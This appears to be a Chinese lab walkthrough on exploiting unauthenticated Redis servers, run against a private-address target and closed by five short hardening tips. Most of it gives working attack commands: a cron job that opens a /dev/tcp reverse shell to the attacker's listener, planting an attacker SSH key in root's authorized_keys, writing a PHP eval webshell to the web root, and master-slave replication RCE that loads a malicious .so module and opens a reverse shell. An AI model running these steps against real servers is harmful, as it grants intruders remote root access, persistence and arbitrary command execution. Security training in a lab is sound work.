0x00 利用计划任务反弹shell

靶机地址:192.168.230.145

kail地址:192.168.230.128

启动靶机redis docker环境(实际测试通过docker复现失败,因为权限问题,键值save保存失败,需要单独搭建redis漏洞环境)

通过nmap进行服务探测,可以发现存在redis服务

利用方式如下

设置键值
set  xxx "\n * * * * * bash -I >& /dev/tcp/192.168.230.128/9999 0>&1\n"
设置导出的路径
config set dir /var/spool/cron/
设置导出的文件名称
config set dbfilename root
save  保存

1.通过在kail上先起nc监听9999端口

2.通过 redis-cli  -h 192.168.230.145 -p 6379 未授权连接redis数据库

3.设置键值 xx  \n的话是代表换行,避免出现乱码情况

 4.设置保存的路径  config set dir /var/spool/cron/  以及设置保存的文件名

 5.可以通过get 查看获取设置的键值内容,通过keys * 查看设置的所有键值

 6.在kail192.168.230.128上收到来自192.168.230.145反弹的shell,利用计划任务反弹shell成功

7.以下是非交互式操作

echo -e "\n\n */1 * * * * /bin/bash -i >& /dev/tcp/192.168.230.128/9999 0>&1\n\n"|redis-cli -h 192.168.230.145 -x  set  1

redis-cli -h 192.168.230.145 config set dir /var/spool/cron

redis-cli -h 192.168.230.145 config set dbfilename root

redis-cli -h 192.168.230.145 save

 0x01  redis 未授权利用公钥登录ssh

1.生成公钥  ssh-keygen   -t  rsa

2.查看生成的公钥key

 3.防止乱码导出key(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

 4.把公钥key写入到键值key中

cat key.txt |redis-cli -h 192.168.230.145 --pass  pass123  -x set xxx  

--pass 是登录密码  无密码可不填  -x set  key  设置键值key

5.获取创建的键值名称,以及写入的键值内容

6.设置保存的文件路径  config  set  dir /root/.ssh  

设置保存的文件名authorized_keys   config set dbfilename authorized_keys  ,然后进行保存save

7.通过ssh公钥认证成功  ssh -i id_rsa.pub  root@192.168.230.145 从128成功登录到145

0x02  redis 未授权写入webshell

写入shell的前提是知道网站的绝对路径和写入权限,也可以通过写入一个phpinfo页面来探测网站的绝对路径,或者可以根据经验判断网站的路径

192.168.230.145>config set dir /var/www/html/   设置保存的网站绝对路径

192.168.230.145>config set dbfilename shell.php    设置保存的文件名

192.168.230.145>set  shell  "<?php phpinfo(); eval($_POST[123]);?>"   设置shell键值

192.168.230.145>save  保存后,查看网站路径下已经成功写入shell.php

 成功获取到webshell

 0x03  redis主从复制RCE 

1.主从复制原理介绍漏洞存在于4.x、5. x版本中,Redis 提供了主从模式,主从模式指使用一个redis作为主

机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids

4.x之后,通过外部拓展,可以实现在redis中实现-一个新的Redis命令,构造恶意. so文

件。在两个Redis实例设置主从模式的时候,Redis 的主机实例可以通过FULLRESYNC同步

文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

简单理解就是通过建立一个新的redis服务,和受害机建立同步,然后从主机加载一个恶意的so文件,同步给受害机,受害机加载恶意的so文件造成了命令执行。

2.环境介绍

主机(攻击机):xxx.xxx.29.133

 从机(受害机):192.168.230.145

反弹shell主机(kail):192.168.230.128

3.通过redis_rogue_server.py 文件,在xxx.xxx.29.133上起redis服务进行监听(伪造主机)默认15000端口可更改

4. 从机:未授权redis服务器--受害机  config set dir /tmp(配置一个可读可写可执行的导出路径)

 5. config set dbfilename  module.so   配置导出的文件名

6.slaveof  xxx.xxx.29.133 15000    请求主机进行同步,同步主机内容给从机 

7.主机开始往从机进行fullresync同步

8.断开fullresync同步  slaveof  no  one 

 

9.查看/tmp目录下确认同步了module.so文件

10.module  load  ./module.so   同步完成之后,module list 是看不到的,需要加载(由于环境问题,module命令执行不了)

11.重新指定一个exp.so进行主从同步

12.列举模块函数,存在system函数

 13.加载system函数,执行命令

14.也可以执行反弹shell 

 

 0x04  redis 主从复制RCE 脚本直接利用

1.通过脚本redis_rogue_server.py  直接利用,指定从机地址192168.230.145  设置主机地址(本机地址)192.200.29.133

python redis_rogue_server.py -rhost 192.168.230.145 -lhost 192.200.29.133 

通过脚本指定rhost未授权的redis服务器   默认端口6379  lhost为本地的地址

在利用的过程中会出现选择正向shell和反向shell的选择

一般是反向shell比较稳定,填写反弹shell地址192.168.230128   9999

 2.192.168.230.128为反弹的主机  监听端口为9999  可以看到成功接受来自从机145的shell

3.通过脚本进行主从复制RCE时,需要删除此rdb文件,如果未删除,下次会利用失败 

 0x05  redis 安全设置

1.单独为redis设置一个普通账号 启动redis

2.设置本地localhost不允许外部访问  bind127.0.0.1 

3.保护模式开启 protected-mode 开启  (默认开启)

4.把6379端口最好更改成其他端口

5.requirepass 设置redis 密码

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐